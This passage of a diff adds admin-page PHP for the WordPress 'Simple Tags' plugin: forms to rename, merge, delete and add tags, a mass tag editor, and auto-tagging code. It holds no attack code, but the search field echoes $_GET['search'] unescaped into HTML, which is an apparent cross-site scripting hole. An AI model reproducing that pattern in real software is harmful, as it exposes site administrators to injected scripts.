+									<input type="hidden" name="page" value="<?php echo attribute_escape(stripslashes($_GET['page'])); ?>" />
+									<input type="hidden" name="tag_sortorder" value="<?php echo $sort_order; ?>" />
+									<input type="text" name="search" id="search" size="10" value="<?php echo stripslashes($_GET['search']); ?>" />
+									<input class="button" type="submit" value="<?php _e('Go', 'simpletags'); ?>" /></p>
+							</form>
+
+							<div class="sort_order">
+								<h3><?php _e('Sort Order:', 'simpletags'); ?></h3>
+								<?php
+								$output = array();
+								foreach( $order_array as $sort => $title ) {
+									$output[] = ($sort == $sort_order) ? '<span style="color: red;">'.$title.'</span>' : '<a href="'.$this->admin_base_url.attribute_escape(stripslashes($_GET['page'])).'&amp;tag_sortorder='.$sort.$search_url.'">'.$title.'</a>';
+								}
+								echo implode('<br />', $output);
+								$output = array();
+								unset($output);
+								?>
+							</div>
+
+							<div id="ajax_area_tagslist">
+								<ul>
+									<?php
+									global $simple_tags;
+									$tags = (array) $simple_tags->getTags($param, true);
+									foreach( $tags as $tag ) {
+										echo '<li><span>'.$tag->name.'</span>&nbsp;<a href="'.(get_tag_link( $tag->term_id )).'" title="'.sprintf(__('View all posts tagged with %s', 'simpletags'), $tag->name).'">('.$tag->count.')</a></li>'."\n";
+									}
+									unset($tags);
+									?>
+								</ul>
+
+								<?php if ( empty($_GET['search']) && ( ((int)wp_count_terms('post_tag', 'ignore_empty=true')) > $this->nb_tags ) ) : ?>
+								<div class="navigation">
+									<a href="<?php echo get_option('siteurl'). '/wp-admin/admin.php?st_ajax_action=get_tags&amp;pagination=1'. ( (isset($_GET['tag_sortorder'])) ? '&amp;order='.$sort_order : '' ); ?>"><?php _e('Previous tags', 'simpletags'); ?></a> | <?php _e('Next tags', 'simpletags'); ?>
+								</div>
+								<?php endif; ?>
+							</div>
+						</fieldset>
+					</td>
+					<td class="forms_manage">
+						<h3><?php _e('Rename Tag', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="renametag" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('Enter the tag to rename and its new value.  You can use this feature to merge tags too. Click "Rename" and all posts which use this tag will be updated.', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to rename by separating them with commas.', 'simpletags'); ?></p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="renametag_old"><?php _e('Tag(s) to rename:', 'simpletags'); ?></label></th>
+									<td><input type="text" id="renametag_old" name="renametag_old" value="" size="40" /></td>
+								</tr>		
+								<tr valign="top">
+									<th scope="row"><label for="renametag_new"><?php _e('New tag name(s):', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="renametag_new" name="renametag_new" value="" size="40" />
+										<input class="button" type="submit" name="rename" value="<?php _e('Rename', 'simpletags'); ?>" />
+									</td>
+								</tr>	
+							</table>							
+						</form>
+
+						<h3><?php _e('Delete Tag', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="deletetag" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('Enter the name of the tag to delete.  This tag will be removed from all posts.', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to delete by separating them with commas', 'simpletags'); ?>.</p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="deletetag_name"><?php _e('Tag(s) to delete:', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="deletetag_name" name="deletetag_name" value="" size="40" />
+										<input class="button" type="submit" name="delete" value="<?php _e('Delete', 'simpletags'); ?>" />
+									</td>
+								</tr>
+							</table>
+						</form>
+
+						<h3><?php _e('Add Tag', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="addtag" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+			
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('This feature lets you add one or more new tags to all posts which match any of the tags given.', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to add by separating them with commas.  If you want the tag(s) to be added to all posts, then don\'t specify any tags to match.', 'simpletags'); ?></p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="addtag_match"><?php _e('Tag(s) to match:', 'simpletags'); ?></label></th>
+									<td><input type="text" id="addtag_match" name="addtag_match" value="" size="40" /></td>
+								</tr>
+								<tr valign="top">
+									<th scope="row"><label for="addtag_new"><?php _e('Tag(s) to add:', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="addtag_new" name="addtag_new" value="" size="40" />
+										<input class="button" type="submit" name="Add" value="<?php _e('Add', 'simpletags'); ?>" />
+									</td>
+								</tr>
+							</table>
+						</form>			
+
+						<h3><?php _e('Edit Tag Slug', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="editslug" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+						
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('Enter the tag name to edit and its new slug. <a href="http://codex.wordpress.org/Glossary#Slug">Slug definition</a>', 'simpletags'); ?></p>
+										<p><?php _e('You can specify multiple tags to rename by separating them with commas.', 'simpletags'); ?></p>
+									</td>
+								</tr>	
+								<tr valign="top">
+									<th scope="row"><label for="tagname_match"><?php _e('Tag(s) to match:', 'simpletags'); ?></label></th>
+									<td><input type="text" id="tagname_match" name="tagname_match" value="" size="40" /></td>
+								</tr>
+								<tr valign="top">
+									<th scope="row"><label for="tagslug_new"><?php _e('Slug(s) to set:', 'simpletags'); ?></label></th>
+									<td>
+										<input type="text" id="tagslug_new" name="tagslug_new" value="" size="40" />
+										<input class="button" type="submit" name="edit" value="<?php _e('Edit', 'simpletags'); ?>" />
+									</td>
+								</tr>
+							</table>
+						</form>
+
+						<h3><?php _e('Remove empty terms', 'simpletags'); ?></h3>
+						<form action="<?php echo $action_url; ?>" method="post">
+							<input type="hidden" name="tag_action" value="cleandb" />
+							<input type="hidden" name="tag_nonce" value="<?php echo wp_create_nonce('simpletags_admin'); ?>" />
+							
+							<table class="form-table">
+								<tr valign="top">
+									<td colspan="2">
+										<p><?php _e('WordPress 2.3 have a small bug and can create empty terms. Remove it !', 'simpletags'); ?></p>
+										<p><input class="button" type="submit" name="clean" value="<?php _e('Clean !', 'simpletags'); ?>" /></p>
+									</td>
+								</tr>
+							</table>
+						</form>
+					</td>
+				</tr>
+			</table>
+	  		<script type="text/javascript">
+	  		// <![CDATA[
+	  			// Register onclick event
+	  			function registerClick() {
+		  			jQuery('#taglist ul li span').bind("click", function(){
+						addTag(this.innerHTML, "renametag_old");
+						addTag(this.innerHTML, "deletetag_name");
+						addTag(this.innerHTML, "addtag_match");
+						addTag(this.innerHTML, "tagname_match");
+					});
+	  			}
+	  			// Register ajax nav and reload event once ajax data loaded
+				function registerAjaxNav() {
+					jQuery(".navigation a").click(function() {
+						jQuery("#ajax_area_tagslist").load(this.href, function(){
+				  			registerClick();
+				  			registerAjaxNav();
+						});
+						return false;
+					});
+				}
+				// Register initial event
+ 				jQuery(document).ready(function() {
+					registerClick();
+					registerAjaxNav();
+				});
+				// Add tag into input
+				function addTag( tag, name_element ) {
+					var input_element = document.getElementById( name_element );
+
+					if ( input_element.value.length > 0 && !input_element.value.match(/,\s*$/) )
+						input_element.value += ", ";
+
+					var re = new RegExp(tag + ",");
+					if ( !input_element.value.match(re) )
+						input_element.value += tag + ", ";
+
+					return true;
+				}
+			// ]]>
+			</script>
+			<?php $this->printAdminFooter(); ?>
+		</div></div>
+		<?php
+	}
+	
+	function edit_data_query( $q = false ) {
+		if ( false === $q ) {
+			$q = $_GET;
+		}
+		
+		// Date
+		$q['m']   = (int) $q['m'];
+		
+		// Category
+		$q['cat'] = (int) $q['cat'];
+		
+		// Quantity
+		$q['posts_per_page'] = (int) $q['posts_per_page'];
+		if ( $q['posts_per_page'] == 0 ) {
+			$q['posts_per_page'] = 15;
+		}		
+		
+		// Content type
+		if ( $q['post_type'] == 'page' ) {
+			$q['post_type'] = 'page';
+		} else {
+			$q['post_type'] = 'post';
+		}
+		
+		// Post status
+		$post_stati = array(	//	array( adj, noun )
+			'publish' => array(__('Published'), __('Published posts'), __ngettext_noop('Published (%s)', 'Published (%s)')),
+			'future' => array(__('Scheduled'), __('Scheduled posts'), __ngettext_noop('Scheduled (%s)', 'Scheduled (%s)')),
+			'pending' => array(__('Pending Review'), __('Pending posts'), __ngettext_noop('Pending Review (%s)', 'Pending Review (%s)')),
+			'draft' => array(__('Draft'), _c('Drafts|manage posts header'), __ngettext_noop('Draft (%s)', 'Drafts (%s)')),
+			'private' => array(__('Private'), __('Private posts'), __ngettext_noop('Private (%s)', 'Private (%s)')),
+		);
+	
+		$post_stati = apply_filters('post_stati', $post_stati);	
+		$avail_post_stati = get_available_post_statuses('post');
+	
+		$post_status_q = '';
+		if ( isset($q['post_status']) && in_array( $q['post_status'], array_keys($post_stati) ) ) {
+			$post_status_q = '&post_status=' . $q['post_status'];
+			$post_status_q .= '&perm=readable';
+		}
+	
+		if ( 'pending' === $q['post_status'] ) {
+			$order = 'ASC';
+			$orderby = 'modified';
+		} elseif ( 'draft' === $q['post_status'] ) {
+			$order = 'DESC';
+			$orderby = 'modified';
+		} else {
+			$order = 'DESC';
+			$orderby = 'date';
+		}
+	
+		wp("post_type={$q['post_type']}&what_to_show=posts$post_status_q&posts_per_page={$q['posts_per_page']}&order=$order&orderby=$orderby");
+	
+		return array($post_stati, $avail_post_stati);
+	}
+
+	/**
+	 * WP Page - Mass edit tags
+	 *
+	 */
+	function pageMassEditTags() {	
+		global $wpdb, $wp_locale, $wp_query;		
+		list($post_stati, $avail_post_stati) = $this->edit_data_query();
+		
+		if ( !isset( $_GET['paged'] ) ) {
+			$_GET['paged'] = 1;
+		}
+			
+		?>
+		<div id="wpbody"><div class="wrap">
+			<form id="posts-filter" action="" method="get">
+				<input type="hidden" name="page" value="st_mass_tags" />
+				<h2><?php _e('Mass edit tags', 'simpletags'); ?></h2>
+							
+				<ul class="subsubsub">
+					<?php
+					$status_links = array();
+					$num_posts = wp_count_posts('post', 'readable');
+					$class = (empty($_GET['post_status']) && empty($_GET['post_type'])) ? ' class="current"' : '';
+					$status_links[] = "<li><a href=\"edit.php?page=st_mass_tags\"$class>".__('All Posts', 'simpletags')."</a>";
+					foreach ( $post_stati as $status => $label ) {
+						$class = '';
+					
+						if ( !in_array($status, $avail_post_stati) ) {
+							continue;
+						}
+					
+						if ( empty($num_posts->$status) )
+							continue;
+						if ( $status == $_GET['post_status'] )
+							$class = ' class="current"';
+					
+						$status_links[] = "<li><a href=\"edit.php?page=st_mass_tags&amp;post_status=$status\"$class>" .
+						sprintf(__ngettext($label[2][0], $label[2][1], $num_posts->$status), $num_posts->$status) . '</a>';
+					}
+					echo implode(' |</li>', $status_links) . ' |</li>';
+					unset($status_links);
+					
+					$class = (!empty($_GET['post_type'])) ? ' class="current"' : '';
+					?>
+					<li><a href="edit.php?page=st_mass_tags&amp;post_type=page" <?php echo $class; ?>><?php _e('All Pages', 'simpletags'); ?></a>
+				</ul>
+				
+				<?php if ( isset($_GET['post_status'] ) ) : ?>
+					<input type="hidden" name="post_status" value="<?php echo attribute_escape($_GET['post_status']) ?>" />
+				<?php endif; ?>
+				
+				<p id="post-search">
+					<input type="text" id="post-search-input" name="s" value="<?php the_search_query(); ?>" />
+					<input type="submit" value="<?php _e( 'Search Posts', 'simpletags' ); ?>" class="button" />
+				</p>
+				
+				<div class="tablenav">		
+					<?php
+					$posts_per_page = (int) $_GET['posts_per_page'];
+					if ( $posts_per_page == 0 ) {
+						$posts_per_page = 15;
+					}
+					
+					$page_links = paginate_links( array(
+						'base' => add_query_arg( 'paged', '%#%' ),
+						'format' => '',
+						'total' => ceil($wp_query->found_posts / $posts_per_page ),
+						'current' => ((int) $_GET['paged'])
+					));
+					
+					if ( $page_links )
+						echo "<div class='tablenav-pages'>$page_links</div>";
+					?>
+					
+					<div style="float: left">
+						<?php 						
+						if ( !is_singular() ) {
+						$arc_query = "SELECT DISTINCT YEAR(post_date) AS yyear, MONTH(post_date) AS mmonth FROM $wpdb->posts WHERE post_type = 'post' ORDER BY post_date DESC";
+						
+						$arc_result = $wpdb->get_results( $arc_query );
+						
+						$month_count = count($arc_result);
+						
+						if ( $month_count && !( 1 == $month_count && 0 == $arc_result[0]->mmonth ) ) { ?>
+							<select name='m'>
+							<option<?php selected( @$_GET['m'], 0 ); ?> value='0'><?php _e('Show all dates', 'simpletags'); ?></option>
+							<?php
+							foreach ($arc_result as $arc_row) {
+								if ( $arc_row->yyear == 0 )
+									continue;
+								$arc_row->mmonth = zeroise( $arc_row->mmonth, 2 );
+							
+								if ( $arc_row->yyear . $arc_row->mmonth == $_GET['m'] )
+									$default = ' selected="selected"';
+								else
+									$default = '';
+							
+								echo "<option$default value='$arc_row->yyear$arc_row->mmonth'>";
+								echo $wp_locale->get_month($arc_row->mmonth) . " $arc_row->yyear";
+								echo "</option>\n";
+							}
+							?>
+							</select>
+						<?php } ?>
+						
+						<?php wp_dropdown_categories('show_option_all='.__('View all categories', 'simpletags').'&hide_empty=1&hierarchical=1&show_count=1&selected='.$_GET['cat']);?>
+									
+						<select name="posts_per_page" id="posts_per_page">							
+							<option <?php if ( !isset($_GET['posts_per_page']) ) echo 'selected="selected"'; ?> value=""><?php _e('Quantity&hellip;', 'simpletags'); ?></option>
+							<option <?php if ( $posts_per_page == 10 ) echo 'selected="selected"'; ?> value="10">10</option>
+							<option <?php if ( $posts_per_page == 20 ) echo 'selected="selected"'; ?> value="20">20</option>
+							<option <?php if ( $posts_per_page == 30 ) echo 'selected="selected"'; ?> value="30">30</option>
+							<option <?php if ( $posts_per_page == 40 ) echo 'selected="selected"'; ?> value="40">40</option>
+							<option <?php if ( $posts_per_page == 50 ) echo 'selected="selected"'; ?> value="50">50</option>
+							<option <?php if ( $posts_per_page == 100 ) echo 'selected="selected"'; ?> value="100">100</option>
+							<option <?php if ( $posts_per_page == 200 ) echo 'selected="selected"'; ?> value="200">200</option>
+						</select>
+						
+						<input type="submit" id="post-query-submit" value="<?php _e('Filter', 'simpletags'); ?>" class="button-secondary" />
+						<?php } ?>
+					</div>
+					
+					<br style="clear:both;" />
+				</div>
+			</form>
+			
+			<br style="clear:both;" />
+	
+			<?php if ( have_posts() ) :
+				add_filter('the_title','wp_specialchars');
+				?>
+				<form name="post" id="post" method="post">
+					<table class="form-table">
+					<?php
+					while (have_posts()) {
+						the_post();
+						?>
+						<tr valign="top">
+							<th scope="row"><a href="post.php?action=edit&amp;post=<?php the_ID(); ?>" title="<?php _e('Edit', 'simpletags'); ?>"><?php the_title(); ?></a></th>
+							<td><input id="tags-input<?php the_ID(); ?>" class="tags_input" type="text" size="100" name="tags[<?php the_ID(); ?>]" value="<?php echo get_tags_to_edit( get_the_ID() ); ?>" /></td>
+						</tr>
+						<?php					
+					}
+					?>
+					</table>
+					
+					<p class="submit">
+						<input class="button" type="hidden" name="secure_mass" value="<?php echo wp_create_nonce('st_mass_tags'); ?>" />
+						<input class="button" type="submit" name="update_mass" value="<?php _e('Update all &raquo;', 'simpletags'); ?>" /></p>
+				</form>
+				<?php if ( $this->all_tags === true ) : ?>
+					<script type="text/javascript">
+						// <![CDATA[			
+						jQuery(document).ready(function() {
+							<?php
+							while ( have_posts() ) { the_post(); ?>
+								if ( document.getElementById('tags-input<?php the_ID(); ?>') ) {
+									var tag_<?php the_ID(); ?> = new BComplete('tags-input<?php the_ID(); ?>');
+									tag_<?php the_ID(); ?>.setData(collection);
+								}
+							<?php } ?>
+						});
+						// ]]>
+					</script>
+				<?php endif; ?>
+				
+			<?php else: ?>
+			
+				<p><?php _e('No content to edit.', 'simpletags'); ?>
+				
+			<?php endif; ?>
+			<p><?php _e('Visit the <a href="http://code.google.com/p/simple-tags/">plugin\'s homepage</a> for further details. If you find a bug, or have a fantastic idea for this plugin, <a href="mailto:amaury@wordpress-fr.net">ask me</a> !', 'simpletags'); ?></p>
+			<?php $this->printAdminFooter(); ?>
+		</div></div>
+    <?php
+	}
+	
+	function saveTagsOldInput( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+		
+		if ( isset($_POST['old_tags_input']) ) {
+			// Post data
+			$tags = stripslashes($_POST['old_tags_input']);
+			
+			// Trim data
+			$tags = trim(stripslashes($tags));
+
+			// String to array
+			$tags = explode( ',', $tags );
+
+			// Remove empty and trim tag
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+
+			// Add new tag (no append ! replace !)
+			wp_set_object_terms( $post_id, $tags, 'post_tag' );
+			
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($post_id);
+			} else {
+				clean_post_cache($post_id);
+			}
+			
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Save embedded tags
+	 *
+	 * @param integer $post_id
+	 * @param array $post_data
+	 */
+	function saveEmbedTags( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+
+		// Return Tags
+		$matches = $tags = array();
+		preg_match_all('/(' . $this->regexEscape($this->options['start_embed_tags']) . '(.*?)' . $this->regexEscape($this->options['end_embed_tags']) . ')/is', $object->post_content, $matches);
+
+		foreach ( $matches[2] as $match) {
+			foreach( (array) explode(',', $match) as $tag) {
+				$tags[] = $tag;
+			}
+		}
+
+		if( !empty($tags) ) {
+			// Remove empty and duplicate elements
+			$tags = array_filter($tags, array(&$this, 'deleteEmptyElement'));
+			$tags = array_unique($tags);
+
+			wp_set_post_tags( $post_id, $tags, true ); // Append tags
+
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($post_id);
+			} else {
+				clean_post_cache($post_id);
+			}
+			
+			return true;
+		}
+		return false;
+	}
+
+	/**
+	 * Check post/page content for auto tags
+	 *
+	 * @param integer $post_id
+	 * @param array $post_data
+	 * @return boolean
+	 */
+	function saveAutoTags( $post_id = null, $post_data = null ) {
+		$object = get_post($post_id);
+		if ( $object == false || $object == null ) {
+			return false;
+		}
+		
+		$result = $this->autoTagsPost( $object );
+		if ( $result == true ) {
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($post_id);
+			} else {
+				clean_post_cache($post_id);
+			}
+		}
+		return true;
+	}
+	
+	/**
+	 * Automatically tag a post/page from the database tags
+	 *
+	 * @param object $object
+	 * @return boolean
+	 */
+	function autoTagsPost( $object ) {	
+		if ( get_the_tags($object->ID) != false && $this->options['at_empty'] == 1 ) {
+			return false; // Skip post with tags, if tag only empty post option is checked
+		}
+				
+		$tags_to_add = array();
+
+		// Merge title + content + excerpt to compare with tags
+		$content = $object->post_content. ' ' . $object->post_title. ' ' . $object->post_excerpt;
+		$content = trim($content);
+		if ( empty($content) ) {
+			return false;
+		}
+		
+		// Auto tag with specifik auto tags list
+		$tags = (array) maybe_unserialize($this->options['auto_list']);
+		foreach ( $tags as $tag ) {
+			if ( is_string($tag) && !empty($tag) && stristr($content, $tag) ) {
+				$tags_to_add[] = $tag;
+			}
+		}
+		unset($tags, $tag);
+		
+		// Auto tags with all posts
+		if ( $this->options['at_all'] == 1 ) { 
+			// Get all terms
+			global $wpdb;
+			$terms = $wpdb->get_col("
+				SELECT DISTINCT name
+				FROM {$wpdb->terms} AS t
+				INNER JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id
+				WHERE tt.taxonomy = 'post_tag'	
+			");
+			$terms = array_unique($terms);
+			
+			foreach ( $terms as $term ) {
+				$term = stripslashes($term);
+				if ( is_string($term) && !empty($term) && stristr($content, $term) ) {
+					$tags_to_add[] = $term;
+				}
+			}
+			
+			// Clean memory
+			$terms = array();
+			unset($terms, $term);
+		}
+		
+		// Append tags if tags to add
+		if ( !empty($tags_to_add) ) {
+			// Remove empty and duplicate elements
+			$tags_to_add = array_filter($tags_to_add, array(&$this, 'deleteEmptyElement'));
+			$tags_to_add = array_unique($tags_to_add);
+			
+			// Increment counter
+			$counter = ((int) get_option('tmp_auto_tags_st')) + count($tags_to_add);
+			update_option('tmp_auto_tags_st', $counter);
+			
+			// Add tags to posts
+			wp_set_object_terms( $object->ID, $tags_to_add, 'post_tag', true );
+			
+			// Clean cache
+			if ( 'page' == $object->post_type ) {
+				clean_page_cache($object->ID);
+			} else {
+				clean_post_cache($object->ID);
+			}
+			
+			return true;
+		}
+		return false;
+	}
+
+	############## Helper Write Pages ##############
+	/**
+	 * Display tags input for page
+	 *
+	 */
+	function helperTagsPage() {
+		global $post_ID;
+		?>
+		<div id="old-tagsdiv" class="postbox <?php echo postbox_classes('old-tagsdiv', 'post'); ?>">
+			<h3><?php _e('Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>', 'simpletags'); ?></h3>
+			<div class="inside">
+				<input type="text" name="old_tags_input" id="old_tags_input" size="40" tabindex="3" value="<?php echo get_tags_to_edit( $post_ID ); ?>" />
+				<div id="st_click_tags" class="container_clicktags"></div>
+			</div>
+		</div>
+		<?php
+	}
+	
+	function remplaceTagsHelper() {
+		global $post_ID;
+		?>
+	   	<script type="text/javascript">
+		    // <![CDATA[
+			jQuery(document).ready(function() {
+				jQuery("#tagsdiv").after('<div id="old-tagsdiv" class="postbox <?php echo postbox_classes('old-tagsdiv', 'post'); ?>"><h3><?php echo _e('Tags <small>(separate multiple tags with commas: cats, pet food, dogs)</small>', 'simpletags'); ?></h3><div class="inside"><input type="text" name="old_tags_input" id="old_tags_input" size="40" tabindex="3" value="<?php echo js_escape(get_tags_to_edit( $post_ID )); ?>" /><div id="st_click_tags" class="container_clicktags"></div></div></div>');
+			});
+			// ]]>
+	    </script>
+	    <style type="text/css">
+	    	#tagsdiv { display:none; }
+	    </style>	   
+		<?php
+	}
+
+	/**
+	 * Helper type-ahead (single post)
+	 *
+	 */
+	function helperBCompleteJS( $id = 'old_tags_input' ) {
+		if ( ((int) wp_count_terms('post_tag', 'ignore_empty=true')) == 0 ) { // If no tags => exit !
+			return;
+		}
+		?>
+		<script type="text/javascript" src="<?php echo $this->info['siteurl'] ?>/wp-admin/admin.php?st_ajax_action=helper_js_collection&ver=<?php echo $this->version; ?>"></script>
+		<script type="text/javascript" src="<?php echo $this->info['install_url'] ?>/inc/js/bcomplete.js?ver=<?php echo $this->version; ?>"></script>
+		<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/css/bcomplete.css?ver=<?php echo $this->version; ?>" />
+		<?php if ( 'rtl' == get_bloginfo( 'text_direction' ) ) : ?>
+			<link rel="stylesheet" type="text/css" href="<?php echo $this->info['install_url'] ?>/inc/css/bcomplete-rtl.css?ver=<?php echo $this->version; ?>" />
+		<?php endif; ?>
+		<script type="text/javascript">
+		// <![CDATA[
+			jQuery(document).ready(function() {
+				if ( document.getElementById('<?php echo ( empty($id) ) ? 'old_tags_input' : $id; ?>') ) {
+					var tags_input = new BComplete('<?php echo ( empty($id) ) ? 'old_tags_input' : $id; ?>');
+					tags_input.setData(collection);
+				}
+			});
+		// ]]>
+		</script>
+		<?php
+	}
+
+	############## Manages Tags Pages ##############
+	/*
+	 * Rename or merge tags
+	 *
+	 * @param string $old
+	 * @param string $new
+	 */
+	function renameTags( $old = '', $new = '' ) {
+		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
+			$this->message = __('No new tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// String to array
+		$old_tags = explode(',', $old);
+		$new_tags = explode(',', $new);
+
+		// Remove empty element and trim
+		$old_tags = array_filter($old_tags, array(&$this, 'deleteEmptyElement'));
+		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
+
+		// If old/new tag are empty => exit !
+		if ( empty($old_tags) || empty($new_tags) ) {
+			$this->message = __('No new/old valid tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$counter = 0;
+		if( count($old_tags) == count($new_tags) ) { // Rename only
+			foreach ( (array) $old_tags as $i => $old_tag ) {
+				$new_name = $new_tags[$i];
+
+				// Get term by name
+				$term = get_term_by('name', $old_tag, 'post_tag');
+				if ( !$term ) {
+					continue;
+				}
+
+				// Get objects from term ID
+				$objects_id = get_objects_in_term( $term->term_id, 'post_tag', array('fields' => 'all_with_object_id'));
+
+				// Delete old term
+				wp_delete_term( $term->term_id, 'post_tag' );
+				
+				// Set objects to new term ! (Append no replace)
+				foreach ( (array) $objects_id as $object_id ) {
+					wp_set_object_terms( $object_id, $new_name, 'post_tag', true );
+				}
+				
+				// Clean cache
+				clean_object_term_cache( $objects_id, 'post_tag');	
+				clean_term_cache($term->term_id, 'post_tag');
+
+				// Increment
+				$counter++;
+			}
+
+			if ( $counter == 0  ) {
+				$this->message = __('No tag renamed.', 'simpletags');
+			} else {
+				$this->message = sprintf(__('Renamed tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;', 'simpletags'), $old, $new);
+			}
+		}
+		elseif ( count($new_tags) == 1  ) { // Merge
+			// Set new tag
+			$new_tag = $new_tags[0];
+			if ( empty($new_tag) ) {
+				$this->message = __('No valid new tag.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			// Get terms ID from old terms names
+			$terms_id = array();
+			foreach ( (array) $old_tags as $old_tag ) {
+				$term = get_term_by('name', addslashes($old_tag), 'post_tag');
+				$terms_id[] = (int) $term->term_id;
+			}
+
+			// Get objects from terms ID
+			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id'));
+
+			// No objects ? exit !
+			if ( !$objects_id ) {
+				$this->message = __('No objects (post/page) found for specified old tags.', 'simpletags');
+				$this->status = 'error';
+				return;
+			}
+
+			// Delete old terms
+			foreach ( (array) $terms_id as $term_id ) {
+				wp_delete_term( $term_id, 'post_tag' );
+			}
+
+			// Set objects to new term ! (Append no replace)
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tag, 'post_tag', true );
+				$counter++;
+			}
+
+			// Test if term is also a category
+			if ( is_term($new_tag, 'category') ) {
+				// Edit the slug to use the new term
+				$slug = sanitize_title($new_tag);
+				$this->editTagSlug( $new_tag, $slug );
+				unset($slug);
+			}
+			
+			// Clean cache
+			clean_object_term_cache( $objects_id, 'post_tag');	
+			clean_term_cache($terms_id, 'post_tag');
+
+			if ( $counter == 0  ) {
+				$this->message = __('No tag merged.', 'simpletags');
+			} else {
+				$this->message = sprintf(__('Merge tag(s) &laquo;%1$s&raquo; to &laquo;%2$s&raquo;. %3$s objects edited.', 'simpletags'), $old, $new, $counter);
+			}
+		} else { // Error
+			$this->message = sprintf(__('Error. No enough tags for rename. Too for merge. Choose !', 'simpletags'), $old);
+			$this->status = 'error';
+		}
+		return;
+	}
+
+	/**
+	 * trim and remove empty element
+	 *
+	 * @param string $element
+	 * @return string
+	 */
+	function deleteEmptyElement( &$element ) {
+		$element = stripslashes($element);
+		$element = trim($element);
+		if ( !empty($element) ) {
+			return $element;
+		}
+	}
+
+	/**
+	 * Delete list of tags
+	 *
+	 * @param string $delete
+	 */
+	function deleteTagsByTagList( $delete ) {
+		if ( trim( str_replace(',', '', stripslashes($delete)) ) == '' ) {
+			$this->message = __('No tag specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		// In array + filter
+		$delete_tags = explode(',', $delete);
+		$delete_tags = array_filter($delete_tags, array(&$this, 'deleteEmptyElement'));
+		
+		// Delete tags
+		$counter = 0;
+		foreach ( (array) $delete_tags as $tag ) {
+			$term = get_term_by('name', $tag, 'post_tag');
+			$term_id = (int) $term->term_id;
+
+			if ( $term_id != 0 ) {				
+				wp_delete_term( $term_id, 'post_tag');
+				clean_term_cache( $term_id, 'post_tag');
+				$counter++;
+			}
+		}
+
+		if ( $counter == 0  ) {
+			$this->message = __('No tag deleted.', 'simpletags');
+		} else {
+			$this->message = sprintf(__('%1s tag(s) deleted.', 'simpletags'), $counter);
+		}
+	}
+
+	/**
+	 * Add tags for all or specified posts
+	 *
+	 * @param string $match
+	 * @param string $new
+	 */
+	function addMatchTags( $match, $new ) {
+		if ( trim( str_replace(',', '', stripslashes($new)) ) == '' ) {
+			$this->message = __('No new tag(s) specified!', 'simpletags');
+			$this->status = 'error';
+			return;
+		}
+
+		$match_tags = explode(',', $match);
+		$new_tags = explode(',', $new);
+
+		$match_tags = array_filter($match_tags, array(&$this, 'deleteEmptyElement'));
+		$new_tags = array_filter($new_tags, array(&$this, 'deleteEmptyElement'));
+
+		$counter = 0;
+		if ( !empty($match_tags) ) { // Match and add
+			// Get terms ID from old match names
+			$terms_id = array();
+			foreach ( (array) $match_tags as $match_tag ) {
+				$term = get_term_by('name', $match_tag, 'post_tag');
+				$terms_id[] = (int) $term->term_id;
+			}
+
+			// Get object ID with terms ID
+			$objects_id = get_objects_in_term( $terms_id, 'post_tag', array('fields' => 'all_with_object_id') );
+
+			// Add new tags for specified post
+			foreach ( (array) $objects_id as $object_id ) {
+				wp_set_object_terms( $object_id, $new_tags, 'post_tag', true ); // Append tags				
+				$counter++;
+			}
+			
+			// Clean cache
+			clean_object_term_cache( $objects_id, 'post_tag');	
+			clean_term_cache($terms_id, 'post_tag');
+		} else { // Add for all posts
+			// Page or not ?
